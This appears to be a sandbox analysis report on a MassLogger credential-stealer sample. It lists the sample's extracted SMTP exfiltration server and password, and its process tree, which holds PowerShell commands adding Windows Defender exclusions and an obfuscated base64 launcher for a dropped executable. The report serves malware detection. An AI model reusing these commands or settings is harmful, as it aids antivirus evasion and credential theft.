Analysis
- max time kernel
149s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
24/09/2026, 14:56
General
- Target S0007961125036607.exe
- Size 894KB
- Sample260924-sa6ycsvz2k
- SHA256 26f4fd7217794560c9cf8dae6f9230e35b13f0471bd4d03f3cc372e6a2fd2f40
Malware Config
Extracted
-
Protocol
smtp
-
Host
mail.freetrend.cc
-
Port
587
-
Username
-
Password
Payday2026
Extracted
-
masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
00-00-0000
-
host_password
Payday2026
-
host_port
587
- host_receiver
- host_sender
-
host_server
mail.freetrend.cc
-
ssl_slate
False
Signatures
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 TTPs 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- SmartAssembly .NET packer 1 IoCs
Detects SmartAssembly .NET packer.
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 15 IoCs
- Suspicious use of AdjustPrivilegeToken 49 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\S0007961125036607.exe"C:\Users\Admin\AppData\Local\Temp\S0007961125036607.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\S0007961125036607.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$sjtxos=Get-Date;$oo00as=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$sjtxos=Get-Date;$jiduxa=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXGtjdS5leGU=')));$sjtxos=Get-Date;& $oo00as -FilePath $jiduxa"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\kcu.exe"C:\Users\Admin\AppData\Roaming\kcu.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\kcu.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
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Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_z5zieple.iec.ps1
kcu.exe
memory/1252-4-0x0000000005130000-0x000000000513A000-memory.dmp
memory/1252-0-0x0000000074672000-0x0000000074673000-memory.dmp
memory/1252-5-0x0000000005370000-0x000000000540C000-memory.dmp
memory/1252-6-0x0000000074660000-0x0000000074E1C000-memory.dmp
memory/1252-7-0x0000000007700000-0x000000000771A000-memory.dmp
memory/1252-8-0x0000000074672000-0x0000000074673000-memory.dmp
memory/1252-9-0x0000000074660000-0x0000000074E1C000-memory.dmp
memory/1252-10-0x00000000090A0000-0x000000000915A000-memory.dmp
memory/1252-3-0x0000000005200000-0x0000000005292000-memory.dmp
memory/1252-2-0x0000000005720000-0x0000000005CDA000-memory.dmp
memory/1252-1-0x0000000000530000-0x0000000000616000-memory.dmp
memory/1252-25-0x0000000074660000-0x0000000074E1C000-memory.dmp
memory/3296-30-0x0000015F71F70000-0x0000015F71F92000-memory.dmp
memory/3460-24-0x0000000005AF0000-0x0000000005E4B000-memory.dmp
memory/3460-13-0x0000000074660000-0x0000000074E1C000-memory.dmp
memory/3460-46-0x0000000074660000-0x0000000074E1C000-memory.dmp
memory/3460-19-0x0000000005220000-0x0000000005242000-memory.dmp
memory/3460-23-0x00000000059B0000-0x0000000005A16000-memory.dmp
memory/3460-22-0x0000000005940000-0x00000000059A6000-memory.dmp
memory/3460-11-0x0000000002690000-0x00000000026C6000-memory.dmp
memory/3460-15-0x0000000074660000-0x0000000074E1C000-memory.dmp
memory/3460-26-0x0000000005A40000-0x0000000005A5E000-memory.dmp
memory/3460-27-0x0000000005F30000-0x0000000005F7C000-memory.dmp
memory/3460-14-0x00000000052F0000-0x000000000593A000-memory.dmp
memory/3460-43-0x00000000074C0000-0x0000000007556000-memory.dmp
memory/3460-12-0x0000000074660000-0x0000000074E1C000-memory.dmp
memory/3460-34-0x0000000006EB0000-0x0000000006EE6000-memory.dmp
memory/3460-38-0x00000000064D0000-0x00000000064F0000-memory.dmp
memory/3460-42-0x00000000072C0000-0x00000000072CA000-memory.dmp
memory/3460-35-0x0000000074F40000-0x0000000074F8C000-memory.dmp
memory/3460-39-0x0000000006EF0000-0x0000000006F93000-memory.dmp
memory/3460-41-0x0000000007250000-0x000000000726A000-memory.dmp
memory/3460-40-0x0000000007890000-0x0000000007F0C000-memory.dmp
memory/3668-51-0x0000000005AE0000-0x0000000005E3B000-memory.dmp
memory/3668-55-0x00000000060C0000-0x000000000610C000-memory.dmp
memory/3668-56-0x0000000070A40000-0x0000000070A8C000-memory.dmp
memory/3668-59-0x0000000007280000-0x0000000007323000-memory.dmp
memory/6132-17-0x0000000074660000-0x0000000074E1C000-memory.dmp
memory/6132-31-0x00000000060B0000-0x0000000006100000-memory.dmp
memory/6132-16-0x0000000000400000-0x000000000041E000-memory.dmp
memory/6132-18-0x0000000074660000-0x0000000074E1C000-memory.dmp
memory/6132-47-0x00000000063D0000-0x0000000006592000-memory.dmp
memory/6132-48-0x0000000074660000-0x0000000074E1C000-memory.dmp
memory/6132-49-0x0000000074660000-0x0000000074E1C000-memory.dmp